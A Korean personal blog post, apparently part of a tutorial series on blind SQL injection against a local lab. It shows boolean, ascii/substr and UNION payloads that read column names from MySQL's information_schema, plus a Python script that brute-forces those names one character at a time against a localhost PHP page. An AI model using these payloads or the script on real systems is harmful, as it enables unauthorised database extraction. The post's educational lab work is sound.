DoR@Hee의 끄적끄적
Blind Sql Injection - 칼럼 길이, 이름 가져오기 본문
0-0 사전준비, DB이름 길이, DB이름 가져오기: https://dorahee.tistory.com/108?category=735413
0-1 table 길이, 이름 가져오기: https://dorahee.tistory.com/109?category=735413
0-2 칼럼 길이 가져오기
테이블에 존재하는 칼럼값을 가져오기 위해서
and length((select column_name from information_schema.columns WHERE table_name='sql_injection' limit 0,1)) = 2을 입력한다.
참이기 때문에 값이 나오는걸 확인 할 수 있고
sql_injection에 첫번째 칼럼은 길이가 2 인것을 확인할수있다.
mysql에서 쿼리문을 입력해보면 역시 참값이 나온다.
"select column_name from information_schema.colums"를 입력해보면
DB에 있는 칼럼이 모드 출력되는 것을 확인 할 수 있다.
거기에 where절을 넣어 조건을 넣으면 원하는 칼럼을 볼 수 있다.
1-2 칼럼 값 가져오기
"and ascii(substr((select column_name from information_schema.columns WHERE table_name='sql_injection' limit 0,1),1,1))=110"
을 입력해 칼럼 이름을 한글자씩 가져온다. 위 쿼리는 참값이기 때문에
값이 출력되는걸 확인 할 수있다.
mysql에서 확인
1-4 union문을 이용해서 칼럼 갯수, 칼럼이름 가져오기
쿼리문 "UNION select COLUMN_name,1,1,1 FROM information_schema.columns where TABLE_NAME='sql_injection' limit 1,1"을 이용하면
no 부분에 칼럼값이 나타나는것을 확인 할 수 있다.
mysql에서 limit를 제외하고 확인하면 table에 따른 모든 칼럼값이 나오는것을 확인 할 수있다.
1-3 칼럼 길이 및 칼럼 이름 가져오기 파이썬
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | import requests def table_name(): for i in range(1, length + 1): for j in range(33, 127): result = "" url = "http://localhost/index_ok.php?no=1%20and%20ascii(substr((select%20column_name%20from%20information_schema.columns%20WHERE%20table_name=%27sql_injection%27%20limit%20{0},1),{1},1))={2}".format(column,i, j) res = requests.get(url) if "email: a@" in res.text: print("{0}".format(chr(j)), end='') result += str(chr(j)) break print("\n") for column in range(0, 5): for lengths in range(1, 30): length = 0 url = "http://localhost/index_ok.php?no=1%20and%20length((select%20column_name%20from%20information_schema.columns%20WHERE%20table_name=%27sql_injection%27%20limit%20{0},1))={1}".format(column, lengths) res = requests.get(url) if "email: a@" in res.text: print("=====================================") print("{0}번째 column 길이는{1}".format(column, lengths)) print("=====================================\n") length = lengths column_ea = column table_name() else: continue | cs |
'취약점 진단 > WEB' 카테고리의 다른 글
mysql - information_schema (0) | 2019.03.26 |
---|---|
Blind Sql Injection -값 길이, 값 가져오기 (0) | 2019.03.25 |
Blind Sql Injection - 테이블 길이, 이름 가져오기 (0) | 2019.03.18 |
Blind Sql Injection - 데이터베이스 이름 가져오기 (2) | 2019.03.18 |
JSP 취약점 분석 - SQL injection (PreparedStatement) (0) | 2019.02.01 |